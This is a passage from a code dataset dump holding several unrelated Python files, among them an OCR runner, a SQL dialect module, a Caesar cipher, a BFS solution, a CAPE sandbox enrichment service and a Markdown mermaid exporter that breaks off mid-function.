opt = SimpleNamespace()\n opt.detect_trained_model = f\"{path_abs}/models/craft_mlt_25k.pth\"\n opt.detect_result_folder = f\"{path_abs}/images/box/\"\n opt.recognize_image_folder = f\"{path_abs}/images/box/\"\n opt.recognize_saved_model = f\"{path_abs}/models/TPS-VGG-BiLSTM-Attn.pth\"\n opt.recognize_Transformation = \"TPS\"\n opt.recognize_FeatureExtraction = \"VGG\"\n opt.recognize_SequenceModeling = \"BiLSTM\"\n opt.recognize_Prediction = \"Attn\"\n\n start = OCR(opt)\n result = start.run(image)\n\n print(\"#Model :\", opt.detect_trained_model,\n \"\\n Network Model :\", opt.recognize_Transformation, opt.recognize_FeatureExtraction,\n opt.recognize_SequenceModeling, opt.recognize_Prediction,\n \"\\n Results :\\n\", result)\n\n json_path = os.path.dirname(image) + \"/\" + os.path.basename(image) + \".json\"\n LIST2JSON.tojsonsingle(result, json_path)\n DrawTextBox.Draw(image, result)\n\n\nif __name__ == '__main__':\n image_path = sys.argv[1] # 명령행 인자\n OCREngine(image_path)\n # OCREngine('C:/Users/Fair/PycharmProjects/Module/OCR-Attn/test/demo.png')\n","repo_name":"c4fiber/AllDayLong","sub_path":"backend/ocr-modules/OCR-Attn/RunOCREngine.py","file_name":"RunOCREngine.py","file_ext":"py","file_size_in_byte":1582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"42479066354","text":"import douban \nimport logging\n\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%a, %d %b %Y %H:%M:%S',\n filename='spider.log',\n filemode='a')\n\n\n#\nSAVE_PATH = \"F://doubandata2\"\nNUM = 15000\nCONFIGURE_PATH = \"info.txt\"\ntry:\n\tdoubanSp = douban.DouBanMovieSpider()\n\tdoubanSp.configure(\"info.txt\")\n\tprint(\"OK\")\n\tprint(\"url: \",doubanSp._url)\n\tdoubanSp.spider(SAVE_PATH,num=NUM)\nexcept Exception as err:\n\tlogging.error(\"Fuck! %s\"%(str(err)))\n\t#raise err\nelse:\n\tlogging.info(\"Finish!\")\n","repo_name":"MashiMaroLjc/ML-and-DM-in-action","sub_path":"DouBanMovie/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":324,"dataset":"github-code","pt":"50"} +{"seq_id":"12297513718","text":"import datetime\nimport decimal\nimport enum\nimport re\n\nfrom . import IsolationLevel, FKAction, FKMatch, ConstraintDeferrable\n\n# These are the default SQL strings that correspond to enumerations in the package\n\nISOLATION_LEVEL_SQL = {IsolationLevel.MANUAL_TRANSACTIONS : 'ERROR',\n IsolationLevel.READ_UNCOMMITTED : 'READ UNCOMMITTED',\n IsolationLevel.READ_COMMITTED : 'READ COMMITTED',\n IsolationLevel.REPEATABLE_READ : 'REPEATABLE READ',\n IsolationLevel.SERIALIZABLE : 'SERIALIZABLE'}\n\nFOREIGN_KEY_MATCH_SQL = {FKMatch.SIMPLE : 'MATCH SIMPLE',\n FKMatch.PARTIAL : 'MATCH PARTIAL',\n FKMatch.FULL : 'MATCH FULL'}\n\nFOREIGN_KEY_ACTION_SQL = {FKAction.NO_ACTION : 'NO ACTION',\n FKAction.RESTRICT : 'RESTRICT',\n FKAction.CASCADE : 'CASCADE',\n FKAction.SET_NULL : 'SET NULL',\n FKAction.SET_DEFAULT : 'SET DEFAULT'}\n\nCONSTRAINT_DEFERRABLE_SQL = {ConstraintDeferrable.NOT_DEFERRABLE : 'NOT DEFERRABLE',\n ConstraintDeferrable.DEFERRABLE_INITIALLY_DEFERRED :\n 'DEFERRABLE INITIALLY DEFERRED',\n ConstraintDeferrable.DEFERRABLE_INITIALLY_IMMEDIATE :\n 'DEFERRABLE INITIALLY IMMEDIATE'}\n\nSCHEMA_SEPARATOR_REGEXP = re.compile(r'\\{([^\\}\\.]+)\\.([^\\}\\.]+)\\}', re.UNICODE)\n\ndef convert_schema_sep(sql_text, separator='.'):\n '''Find any instances of '{schema.obj}' in the sql_text parameter and\n return a string using the given separator character 'schema.obj'. This is\n used to emulate SQL schema on databases that don't really support them.'''\n\n match = SCHEMA_SEPARATOR_REGEXP.search(sql_text)\n result = ''\n current_pos = 0\n\n if match:\n while match:\n result += sql_text[current_pos:match.start()] + match[1] + separator + match[2]\n current_pos = match.end()\n match = SCHEMA_SEPARATOR_REGEXP.search(sql_text, match.end())\n result += sql_text[current_pos:]\n return result\n\nclass TransactionContext:\n '''This is a small helper context manager class that allows the dialect.transaction method to\n be used in a 'with' statement. A transaction will have been begun, and at the end of the 'with'\n block or when an exception occurs the transaction will be committed or rolled-back as\n appropriate.\n\n This can also be used as an async context manager. This will assume that the cursor provided\n has coroutines for its cursor.execute method rather than regular methods.'''\n\n def __init__(self, cursor,\n on_entry='BEGIN TRANSACTION;',\n on_success='COMMIT;',\n on_exception='ROLLBACK;'):\n\n self.cursor = cursor\n self.on_entry = on_entry\n self.on_success = on_success\n self.on_exception = on_exception\n\n def __enter__(self):\n if self.on_entry:\n self.cursor.execute(self.on_entry)\n return self\n\n async def __aenter__(self):\n if self.on_entry:\n await self.cursor.execute(self.on_entry)\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n if exc_type is None:\n if self.on_success:\n self.cursor.execute(self.on_success)\n else:\n if self.on_exception:\n self.cursor.execute(self.on_exception)\n return False\n\n async def __aexit__(self, exc_type, exc_val, exc_tb):\n if exc_type is None:\n if self.on_success:\n await self.cursor.execute(self.on_success)\n else:\n if self.on_exception:\n await self.cursor.execute(self.on_exception)\n return False\n\nclass SQLDialect:\n '''This is an abstract base class from which concrete dialect classes should be derived.'''\n\n @classmethod\n def parameter(cls, number=1, start=1):\n '''Return a string that represents a parameter placeholder in the query strings in the\n format required by the database adaptor.'''\n\n return '?, '*(number-1) + '?'\n\n @classmethod\n def parameter_values(cls, names, start=1, concat=','):\n '''Return a string of the pattern 'name1=$1, name2=$2' etc. for the names contained in the\n list 'names', starting with parameter number 'start' (where appropriate). The 'concat'\n parameter is used to separate the pairs.'''\n\n result = ''\n for name in names[:-1]:\n result += name + '=? ' + concat + ' '\n return result + names[-1]+'=?'\n\n schema_support = True\n\n store_decimal_as_text = False\n store_date_time_datetime_as_text = False\n enum_support = False\n\n foreign_key_match_sql = FOREIGN_KEY_MATCH_SQL\n foreign_key_action_sql = FOREIGN_KEY_ACTION_SQL\n constraint_deferrable_sql = CONSTRAINT_DEFERRABLE_SQL\n\n truncate_table_sql = '''TRUNCATE TABLE {table_name};'''\n truncate_table_cascade_sql = '''TRUNCATE TABLE {table_name} CASCADE;'''\n\n create_sequence_sql = ('',)\n nextval_sequence_sql = ('',)\n reset_sequence_sql = ('',)\n\n create_view_sql = '''CREATE VIEW IF NOT EXISTS'''\n\n index_specifies_schema = True\n\n @classmethod\n def sql_repr(cls, value):\n '''This method returns the value in the form expected by the particular\n database and database adaptor specified by the dialect parameter. It\n exists to handle cases where the database adaptor cannot accept the\n Python type being used - for example while SQL NUMERIC types map quite\n well to Python decimal.Decimal types, the sqlite3 database adaptor does\n not recognise them, so string values must be stored.'''\n\n return value\n\n @classmethod\n def begin_transaction(cls, cursor, isolation_level=None):\n '''This method starts a new transaction using the database cursor and the (optional)\n isolation level specified, which should be one of the IsolationLevel enum values. It\n returns a context manager so must be used in a 'with' statement.'''\n\n raise NotImplementedError\n\n @classmethod\n def commit_transaction(cls, cursor, isolation_level=None):\n '''This method commits a transaction using the database cursor. The isolation level can be\n specified in order to cover cases where MANUAL_TRANSACTIONS (i.e. no automatic management)\n is desired.'''\n\n raise NotImplementedError\n\n @classmethod\n def rollback_transaction(cls, cursor, isolation_level=None):\n '''This method rolls back a transaction using the database cursor. The isolation level can\n be specified in order to cover cases where MANUAL_TRANSACTIONS (i.e. no automatic\n management) is desired.'''\n\n raise NotImplementedError\n\n @staticmethod\n def create_enum_type(cursor, py_type, sql_name, sql_schema=None):\n '''Create an enum type in the database for the given py_type under the name sql_name\n in the sql_schema (if given).'''\n\n raise NotImplementedError\n\nclass sqliteDialect(SQLDialect):\n '''This class contains information used internally to generate suitable SQL\n for use with the standard library interface to SQLite3, the embedded\n database engine that usually comes supplied with Python.'''\n\n schema_support = False\n\n store_decimal_as_text = False\n store_date_time_datetime_as_text = True\n enum_support = False\n\n foreign_key_match_sql = FOREIGN_KEY_MATCH_SQL\n foreign_key_action_sql = FOREIGN_KEY_ACTION_SQL\n constraint_deferrable_sql = CONSTRAINT_DEFERRABLE_SQL\n\n truncate_table_sql = '''DELETE FROM {table_name};'''\n truncate_table_cascade_sql = truncate_table_sql\n\n create_sequence_sql = ('''\n CREATE TABLE IF NOT EXISTS {qualified_name} (start {index_type},\n interval {index_type},\n lastval {index_type},\n nextval {index_type});''',\n '''INSERT INTO {qualified_name} VALUES '''\n '''({start},{interval},{start},{start});''')\n nextval_sequence_sql = ('''UPDATE {qualified_name} SET lastval=nextval, '''\n '''nextval=nextval+interval;''',\n '''SELECT lastval FROM {qualified_name};''')\n reset_sequence_sql = ('''UPDATE {qualified_name} SET lastval=start, nextval=start;''',)\n\n create_view_sql = '''CREATE VIEW IF NOT EXISTS'''\n\n index_specifies_schema = True\n\n @classmethod\n def sql_repr(cls, value):\n if isinstance(value, bool):\n return 1 if value else 0\n if isinstance(value, (int, float, str, bytes)) or value is None:\n return value\n if isinstance(value, decimal.Decimal):\n return str(value)\n if isinstance(value, datetime.datetime):\n if value.tzinfo:\n return value.strftime('%Y-%m-%dT%H:%M:%S.%f%z')\n return value.strftime('%Y-%m-%dT%H:%M:%S.%f')\n if isinstance(value, datetime.date):\n return value.strftime('%Y-%m-%d')\n if isinstance(value, datetime.time):\n return value.strftime('%H:%M:%S.%f')\n if isinstance(value, enum.Enum):\n return value.value\n\n raise TypeError('sqlite3 Python module cannot handle type {}'.format(str(type(value))))\n\n @classmethod\n def begin_transaction(cls, cursor, isolation_level=None):\n\n if isolation_level == IsolationLevel.MANUAL_TRANSACTIONS:\n return TransactionContext(cursor, None, None, None)\n\n # Note that while SQLite does support READ_UNCOMMITTED, it is a per-session pragma and not\n # per-transaction, which makes it harder to use reliably. We always leave the setting on\n # the default, which is the maximalist SERIALIZABLE isolation level.\n return TransactionContext(cursor, 'BEGIN TRANSACTION;', 'COMMIT;', 'ROLLBACK;')\n\n @classmethod\n def commit_transaction(cls, cursor, isolation_level=None):\n if isolation_level != IsolationLevel.MANUAL_TRANSACTIONS:\n cursor.execute('COMMIT;')\n\n @classmethod\n def rollback_transaction(cls, cursor, isolation_level=None):\n if isolation_level != IsolationLevel.MANUAL_TRANSACTIONS:\n cursor.execute('ROLLBACK;')\n\n @staticmethod\n def create_enum_type(cursor, py_type, sql_name, sql_schema=None):\n '''Enum are not supported natively in SQLite, so nothing is necessary to create them.'''\n\n# This will be used by routines when no dialect is specified. It is not a\n# constant as it is intended that it may be over-ridden by package users\n\nDefaultDialect = sqliteDialect\n","repo_name":"jhumphry/pyxact","sub_path":"pyxact/dialects.py","file_name":"dialects.py","file_ext":"py","file_size_in_byte":10841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"3170249650","text":"key_long = 26\n\ndef getkey():\n key = 0\n print(\"Ingresa la llave: \")\n key = int(input())\n if (key > 1 and key <= key_long):\n return key\n\ndef getMsg():\n entrada = input(\"Introduzca el mensaje a encriptar: \")\n return entrada\n\ndef traduct(mensaje, llave):\n traduction = \"\"\n for caracter in mensaje:\n if caracter.isalpha():\n num = ord(caracter)\n num += llave\n if caracter.isupper():\n if num > ord('Z'):\n num -= 26\n elif num < ord('A'):\n num += 26\n elif caracter.islower():\n if num > ord('z'):\n num -= 26\n elif num < ord('a'):\n num += 26\n \n traduction += chr(num)\n else:\n traduction += caracter\n return traduction\n\nllave = getkey()\nmensaje = getMsg()\n\nprint(\"El mensaje encriptado es: \")\nprint(traduct(mensaje, llave))\n","repo_name":"Edrasen/Teoria_Computacional","sub_path":"T_Computacional/p20.py","file_name":"p20.py","file_ext":"py","file_size_in_byte":973,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"28106939737","text":"#######################################################\n##\n## 백준 24444번 - 알고리즘 수업 - 너비 우선 탐색 1\n## acmicpc.net/problem/24444\n##\n#######################################################\n\nimport sys\nfrom collections import deque\n\ninput = sys.stdin.readline\n\ndef bfs():\n global order\n\n queue = deque()\n queue.append(R)\n\n while queue:\n tmp = queue.popleft()\n if visited[tmp] == 0:\n visited[tmp] = order\n order += 1\n for v in edges[tmp]:\n queue.append(v)\n\nN, M, R = map(int, input().split())\nedges = [[] for _ in range(N+1)]\nvisited = [0 for _ in range(N+1)]\norder = 1\n\nfor i in range(M):\n a, b = map(int, input().split())\n edges[a].append(b)\n edges[b].append(a)\n\nfor i in range(1,N+1):\n edges[i].sort()\n\nbfs()\n\nfor i in range(1, N+1):\n print(visited[i])\n","repo_name":"xuio-0528/Algorithm-Study","sub_path":"Inseok/Week 1 (0516~0522)/24444.py","file_name":"24444.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"50"} +{"seq_id":"9964549355","text":"import json\nimport time\nimport hashlib\nfrom src.database.base.client import Client\nfrom src.helpers import SubParserLogger, ServiceCommand\nfrom src.service.message.service_message import ServiceMessage\nfrom src.service.manager_producer_service import ProducerProcessorManager\nfrom src.sandboxes.cape_sandbox import CapeSandBox\nfrom src.config.configuration import Configuration\n\nclass CAPEEnricher(ServiceCommand):\n \"\"\"\n Cape Sandbox Enricher Command - Collects data from the cape sandbox.\n\n Methods\n -------\n - information(self): dict\n returns a dictionary that has information about the enricher\n \n - service_initialized(self, message: ServiceMessage) -> bool:\n returns a boolean if the callback from the service was able to submit the sample to the CAPE V2 Instance\n\n - service_processing(self, message: ServiceMessage) -> bool:\n returns a boolean if the callback from the service was able to submit the processing message\n\n - service_reporting(self, message: ServiceMessage, elastic: Elastic) -> bool:\n returns a boolean if the callback from the service was able to submit the reporting message\n and update the elastic instance(s) database\n \n - service_error(self, message: ServiceMessage, elastic: Elastic) -> bool:\n returns nothing at the moment, have not gotten to the error messages from CAPE V2, \n since as of yet, no sample has been submitted has generated an error on that end\n\n - _submit_message(self, type: str, org_submitted_time: int):\n makes the call to Kafka submitting the message to the messaging service\n\n - execute(self) -> dict:\n returns a dictionary that has the inital data to be placed into Elastic noting that it is processing.\n This also make a call to Kafka to start the messaging process(es) that will be used during the \n processing of the sample with CAPE.\n \n \"\"\"\n\n def __init__(self, md5: str, path: str):\n \"\"\"\n Constructor for cape enricher\n\n Parameters\n ----------\n - md5: str\n MD5 hash of the sample\n \n - logger: SubParserLogger\n SubParserLogger Object for output to console and file\n\n - path: str\n Full path to the location of the sample\n\n \n \"\"\"\n ServiceCommand.__init__(self)\n self.full_path = path\n self.logger = SubParserLogger(\"CAPE-ENRICHER\")\n self._config = Configuration()\n self.module_type = str(self.__module__) + \".\" + str(self.__class__.__name__)\n self.message_producer = ProducerProcessorManager()\n self.cape_sandbox = CapeSandBox(self._config, self.logger)\n self.tasks = None\n \n if self.full_path != None:\n self.md5 = str(hashlib.md5(open(self.full_path,'rb').read()).hexdigest())\n else:\n self.md5 = None\n\n def information(self) -> dict:\n \"\"\"\n Compatiblity information for enricher\n\n Returns\n -------\n Dictionary\n \"\"\"\n return {\"name\": \"CAPEEnricher\"}\n\n def service_initialize(self, message: ServiceMessage) -> bool:\n \"\"\"\n The first message to be used when submitting a sample to CAPE V2\n\n Parameters\n ----------\n - message: ServiceMessage\n This message contains the information needed to submit the sample to the CAPE V2 instance. \n \"\"\"\n try:\n try:\n if self.cape_sandbox.sandbox_status() == True:\n # check to see if the sample has been submitted \n self.tasks = self.service_getTasks()\n _md5 = hashlib.md5(open(message.sample,'rb').read()).hexdigest()\n _exits = False\n\n if self.tasks != None:\n for _t in self.tasks['data']:\n self.logger.info(\"In tasks: \" + str(_t['sample']['md5']))\n if _t['sample']['md5'] == _md5:\n _exits = True\n break\n if _exits:\n self.logger.info(\"Sample Exists\")\n _submitted = True\n else:\n self.logger.info(\"Sample Not there\")\n _submitted = self.cape_sandbox.submit_job(message)\n \n if _submitted: \n self._submit_message(\"processing\", message.first_seen)\n else:\n self._submit_message(\"error\", message.first_seen)\n\n else:\n raise Exception(\"[CAPE-Enricher] (Init Message) CAPE SYSTEM CAN NOT BE REACHED :: STATUS :: \" + str(self.cape_sandbox.sandbox_status()))\n\n \n except Exception as e:\n self.logger.error(str(e))\n return False\n except Exception as e:\n self.logger.error(str(e))\n return False\n\n def service_processing(self, message: ServiceMessage) -> bool:\n \"\"\"\n The second message to be used, this checks on the progress of the sample and if it has been completed or not\n if it has been, a reporting message is emited, else it replays the processing message.\n\n Parameters\n ----------\n - message: ServiceMessage\n This message contains the information needed to check on the sample in the CAPE V2 instance.\n \"\"\"\n self.logger.info(\"[CAPE-Enricher] (Processing Message) Sample is processinig...\")\n self.logger.info(\"[CAPE-Enricher] (Processing Message) Sample status needs to be checked...\")\n if(message.job_id == None):\n try:\n _sample = self.cape_sandbox.sample_exists(message.md5)\n message.job_id = _sample.data[0]['id'] \n self.logger.info(\"[CAPE-Enricher] (Processing Message) Job ID: \" + str(message.job_id))\n _status = self.cape_sandbox.job_status(message.job_id)\n self.logger.info(\"[CAPE-Enricher] (Processing Message) Job Status\")\n self.logger.info(_status)\n\n _json = json.loads(_status)\n\n if _json['data'] == \"running\":\n self._submit_message(\"processing\", message.first_seen)\n elif _json['data'] == \"pending\":\n self._submit_message(\"processing\", message.first_seen)\n elif _json['data'] == \"reported\":\n self._submit_message(\"reporting\", message.first_seen)\n else:\n self.logger.info(\"[CAPE-Enricher] (Processing Message) Job Status :: \" + str(_status))\n\n except Exception as e:\n self.logger.error(\"[CAPE-Enricher] (Processing Message) Error getting job status: \" + str(e))\n\n return True\n \n def service_reporting(self, message: ServiceMessage, client: Client) -> bool:\n \"\"\"\n The last message to be used, this will collect the report from CAPE V2 and add the data to the corresponding \n samples data in the Elastic instance.\n\n Parameters\n ----------\n - message: ServiceMessage\n This message contains the information needed to check on the sample in the CAPE V2 instance.\n\n - elastic: Elastic\n Allows access to the Elastic Instance that contains the rest of the sample(s) data.\n \"\"\"\n self.logger.info(\"[CAPE-Enricher] (Reporting Message) Reporting From Kafka\")\n if self.cape_sandbox.sandbox_status() == True:\n _exits = False\n _task_data = None\n self.tasks = self.service_getTasks()\n if self.tasks != None:\n for _t in self.tasks['data']:\n self.logger.info(\"In tasks: \" + str(_t['sample']['md5']))\n if _t['sample']['md5'] == message.md5:\n _exits = True\n _task_data = _t\n break\n if _exits:\n self.logger.info(\"Sample Exists\")\n self.logger.info(\"Job Report: \" + str(_task_data['id']))\n try:\n _job_report = self.cape_sandbox.get_job_report(_task_data['id']) \n self.logger.info(\"Report Type: \" + str(type(_job_report)))\n if _job_report != None:\n try:\n _report_data = {\n 'payloads' : None,\n 'info' : None\n }\n self.logger.info(\"Report data type: \" + str(type(_job_report)))\n\n try:\n _payloads = _job_report['CAPE']['payloads']\n for _payload in _payloads:\n del _payload['strings']\n\n _report_data['payloads'] = _payloads\n except Exception as e:\n self.logger.exception(str(e))\n\n try:\n _report_data['target'] = _job_report['target']\n del _report_data['target']['file']['strings']\n except Exception as e:\n self.logger.exception(str(e))\n\n try:\n _report_data['info'] = _job_report['info']\n except Exception as e:\n self.logger.exception(str(e))\n\n try:\n _report_data['dropped'] = _job_report['dropped']\n except Exception as e:\n self.logger.exception(str(e))\n \n client.update_sandbox_data(_report_data, message)\n except Exception as e:\n self.logger.error(\"Error with submitting to client: \" + str(e))\n return False\n except Exception as e:\n self.logger.exception(\"ERROR GETTING REPORT :: \" + str(e))\n else:\n self.logger.info(\"Sample Not there\")\n self.logger.info(\"[CAPE-Enricher] (Reporting Message) Trying to submit job to cape :: REPORT NOT THERE\")\n\n return True\n \n def service_error(self, message: ServiceMessage, client: Client) -> bool:\n \"\"\"\n Currently not being used, as of yet, the samples that have been used have not caused CAPE V2 to emit a \n error status\n \"\"\"\n pass\n\n # could be moved to the parent object?\n def _submit_message(self, type: str = None, org_submitted_time: int = None, msg: ServiceMessage = None):\n \"\"\"\n Wrapper for submitting a new ServiceMessage to the background services that work with Kafka.\n \"\"\"\n if msg == None:\n msg = ServiceMessage(\n first_seen=org_submitted_time, last_seen=int(time.time()),\n topic=self._config.cape_topic, md5=self.md5, sample=self.full_path, type=type,\n module= self.module_type, module_name=self.__class__.__name__\n )\n self.message_producer.commands.submit_message(msg)\n self.logger.info(\"[CAPE-Enricher] (Submitting Message) :: \" + str(msg))\n \n\n def service_getTasks(self):\n return self.cape_sandbox.get_task()\n \n\n def execute(self) -> dict:\n \"\"\"\n Execute the CapeEnricher from subparse, to then pass the rest of the processing off to the \n background services and the CAPE V2 Sandbox.\n \"\"\"\n # Since this is now a service command the execute section is for submitting\n # a message to the producer service ONLY!\n _message = ServiceMessage(\n first_seen=int(time.time()), last_seen=int(time.time()),\n topic=self._config.cape_topic, md5=self.md5, sample=self.full_path, type=\"initialized\",\n module= self.module_type, module_name=self.__class__.__name__\n )\n \n self._submit_message(msg=_message)\n \n return {\"enricher\": \"CAPEEnricher\", \"data\": {\"status\" : \"processing\"}}","repo_name":"jstrosch/subparse","sub_path":"parser/src/enrichers/capeenricher.py","file_name":"capeenricher.py","file_ext":"py","file_size_in_byte":12670,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"50"} +{"seq_id":"40229099250","text":"import FWCore.ParameterSet.Config as cms\n\ninOutSeedsFromTrackerMuons = cms.EDProducer(\"MuonReSeeder\",\n ## Input collection of muons, and selection. track.isNonnull is implicit.\n src = cms.InputTag(\"muons\"),\n cut = cms.string(\"pt > 2\"),\n ## Keep at most these layers from the tracker track of the muon\n layersToKeep = cms.int32(5),\n ## Use the inner part of the tracker track to make a seed\n insideOut = cms.bool(True),\n #### Turn on verbose debugging (to be removed at the end)\n debug = cms.untracked.bool(False),\n ## Configuration for the refitter\n DoPredictionsOnly = cms.bool(False),\n Fitter = cms.string('KFFitterForRefitInsideOut'),\n TrackerRecHitBuilder = cms.string('WithAngleAndTemplate'),\n Smoother = cms.string('KFSmootherForRefitInsideOut'),\n MuonRecHitBuilder = cms.string('MuonRecHitBuilder'),\n MTDRecHitBuilder = cms.string('MTDRecHitBuilder'),\n RefitDirection = cms.string('alongMomentum'),\n RefitRPCHits = cms.bool(True),\n Propagator = cms.string('SmartPropagatorAnyRKOpposite'),\n)\n","repo_name":"cms-sw/cmssw","sub_path":"RecoTracker/SpecialSeedGenerators/python/inOutSeedsFromTrackerMuons_cfi.py","file_name":"inOutSeedsFromTrackerMuons_cfi.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":985,"dataset":"github-code","pt":"50"} +{"seq_id":"5164750147","text":"# Programa que ajude um jogador na mega sena. o programa vai perguntar quantos jogos serao gerados e vai sortear 6 numeros entre 1 a 60\n# para cada jogo, cadastrando tudo em uma lista composta\n\nfrom random import randint\nfrom time import sleep\n\nprint('-='*20)\nprint(f'{\"MEGA SENA\":^40}')\nprint('-='*20)\n\nlista = []\nnum = 0\n\njogos = int(input('Quantos jogos serao gerados? '))\n\nfor n in range(0, jogos):\n while len(lista) < 6:\n num = randint(1, 60)\n if num not in lista:\n lista.append(num)\n\n print(f'jogo {n+1}: {sorted(lista)}')\n sleep(1)\n lista.clear()\n\n\n","repo_name":"GabrielBrotas/Python","sub_path":"modulo 3/exercicios/Ex088 - Mega sena.py","file_name":"Ex088 - Mega sena.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"50"} +{"seq_id":"40989621424","text":"__VERSION__ = \"0.3.0\"\n\n# -*- coding: utf-8 -*-\nr\"\"\"Exports mermaid diagrams in Markdown documents as images.\n\nExample:\n ::\n\n $ pip install -e .\n\n.. _Google Python Style Guide:\n http://google.github.io/styleguide/pyguide.html\n\n\"\"\"\n\nimport io\nimport logging\nimport os\nimport subprocess\nimport sys\nimport uuid\nfrom pathlib import Path\nfrom shutil import which\n\nimport click\nimport panflute\nimport pypandoc\n\nlogging.basicConfig(stream=sys.stdout, level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\n@click.command()\n@click.option(\n \"--file\",\n \"-m\",\n type=click.Path(exists=True),\n help=\"Path to markdown file, where the mermaid code blocks will be converted to images.\",\n)\n@click.option(\n \"--folder\",\n \"-f\",\n type=click.Path(exists=True),\n help=\"Path to folder where we will convert all markdown mermaid code blocks to images.\",\n)\n@click.option(\n \"--ignore\",\n \"-i\",\n type=click.Path(exists=True),\n multiple=True,\n help=\"Path to folder to ignore, markdown files in this folder will not be converted.\",\n)\n@click.option(\n \"--output\",\n \"-o\",\n type=click.Path(exists=True),\n required=True,\n help=\"Path to folder where to save the new markdown files.\",\n)\n@click.option(\n \"--log-level\", \"-l\", default=\"INFO\", type=click.Choice([\"DEBUG\", \"INFO\", \"ERROR\"]), help=\"Log level for the script.\"\n)\ndef cli(file, folder, ignore, output, log_level):\n \"\"\"Exports mermaid diagrams in Markdown documents as images..\"\"\"\n logger.setLevel(log_level)\n markdown_files = get_markdown_file_paths(file, folder, ignore)\n install_mermaid_cli()\n convert_markdown(markdown_files, output)\n\n\ndef get_markdown_file_paths(file, folder, ignore_paths):\n \"\"\"Gets all the paths to the local markdown article. Either file or folder must be set. If the file is in the\n ignore path it will not convert markdown to .\n\n Args:\n file (str): Path to file.\n folder (str): Path to folder.\n ignore_paths (tuple): A list of paths to ignore markdown files in.\n\n Returns:\n dict: key is the title of the article and value is details.\n\n \"\"\"\n logger.info(\"Getting markdown files.\")\n article_paths = []\n if not file and not folder:\n logger.error(\"File and folder cannot be both be empty.\")\n sys.exit(1)\n elif folder:\n for path in Path(folder).rglob(\"*.md\"):\n ignore = should_file_be_ignored(ignore_paths, path)\n\n if not ignore:\n article_paths.append(path)\n else:\n article_paths = [file]\n return article_paths\n\n\ndef should_file_be_ignored(ignore_paths, path):\n \"\"\"Checks if file should be ignored or not, based on what list of files/folders\n the user has passed as input.\n\n Args:\n ignore_paths (tuple): A list of paths to ignore markdown files in.\n path (str): Path to markdown file.\n\n Returns:\n bool: True if we should ignore the file and it will not be uploaded.\n\n \"\"\"\n ignore = False\n for path_to_ignore in ignore_paths:\n normalised_ignore_path = os.path.normpath(path_to_ignore)\n if os.path.commonpath([path_to_ignore, path]) == normalised_ignore_path:\n ignore = True\n break\n\n return ignore\n\n\ndef install_mermaid_cli():\n \"\"\"Checks if mermaid-cli (mmdc) is installed locally, if not tries to install it. Using \"npm install\".\n If it fails we will throw an error and quit.\n\n \"\"\"\n exists = which(\"mmdc\") is not None\n if not exists:\n logger.info(\"Installing mermaid-cli.\")\n default_mmdc_installation_location = os.path.expanduser(\"~\")\n try:\n subprocess.check_output(\n [f\"npm install --prefix {default_mmdc_installation_location} @mermaid-js/mermaid-cli@8.9.1\"],\n shell=True,\n timeout=600,\n )\n except subprocess.CalledProcessError as e:\n logger.error(f\"Failed to install mermaid-cli, using 'npm install'. Check 'node and npm' are installed. {e}\")\n sys.exit(1)\n\n\ndef convert_markdown(markdown_files, output):\n \"\"\"Converts markdown file's mermaid code blocks to image blocks. It does this by:\n\n * Convert the markdown file to JSON, which include various details such as styling\n * Then find all mermaid code blocks\n * Save the code block to `input.mmd`\n * Use mermaid-cli to export `input.mmd` to a png file\n * Finally replace all code blocks with the image blocks referencing the new image\n * Convert JSON to markdown\n * Save new markdown file\n\n Where a mermaid code block looks something like:\n ..\n\n ```mermaid\n graph LR\n A --> B\n ```\n\n Args:\n markdown_files (:obj:`list` of :obj:`str`): List of paths of the markdown files, we will parse/convert.\n output (str): Path to the output folder where the new markdown files will be saved.\n\n \"\"\"\n for markdown_file in markdown_files:\n logger.info(f\"Exporting {markdown_file} mermaid code blocks to images.\")\n doc = convert_markdown_to_json(markdown_file)\n try:\n doc = panflute.run_filter(export_mermaid_blocks, doc=doc, output=output)\n except subprocess.CalledProcessError as e:\n logger.error(f\"Failed to convert mermaid code block to image. Skiping file. {e}\")\n sys.exit(1)\n except OSError as e:\n logger.error(f\"Failed to open/create `input.mmd`, check file permissions. Skipping file. {e}\")\n sys.exit(1)\n\n file_name = os.path.basename(markdown_file)\n new_file_name = os.path.join(output, file_name)\n replace_mermaid_blocks_with_images(doc)\n save_new_file(doc, new_file_name)\n\n\ndef convert_markdown_to_json(markdown_file):\n \"\"\"Converts our markdown file into JSON, which becomes a list of elements.\n We also create an empty dict, where we will store all the code blocks\n we will need to replace with images.\n\n Where the JSON data looks like:\n\n ..\n data\n '{\"blocks\":[{\"t\":\"Para\",\"c\":[{\"t\":\"Str\",\"c\":\"title:\"},{\"t\":\"Space\"},{\"t\":\"Str\",\"c\":\"Provisioning\"},{\"t\":\"Space\"},{\"t\":\"Str\",\"c\":\"API\"},{\"t\":\"Space\"},{\"t\":\"Str\",\"c\":\"LLD\"}]},{\"t\":\"Header\",\"c\":[1,[\"low-level-design\",[],[]],[{\"t\":\"Str\",\"c\":\"Low\"},{\"t\":\"Space\"}}}'\n\n ..\n doc.content.list\n 00: Para(Str(title:) Space Str(Provisioning) Space Str(API) Space Str(LLD))\n 01: Header(Str(Low) Space Str(Level) Space Str(Design); level=1, identifier='low-level-design')\n ...\n 12: CodeBlock(graph LR;\\n A--> B; classes=['mermaid'])\n\n Args:\n markdown_file (str): List of paths of the markdown files, we will parse/convert.\n\n Return:\n panflute.Doc: Pandoc document container.\n\n \"\"\"\n try:\n data = pypandoc.convert_file(str(markdown_file), \"json\")\n except OSError as e:\n 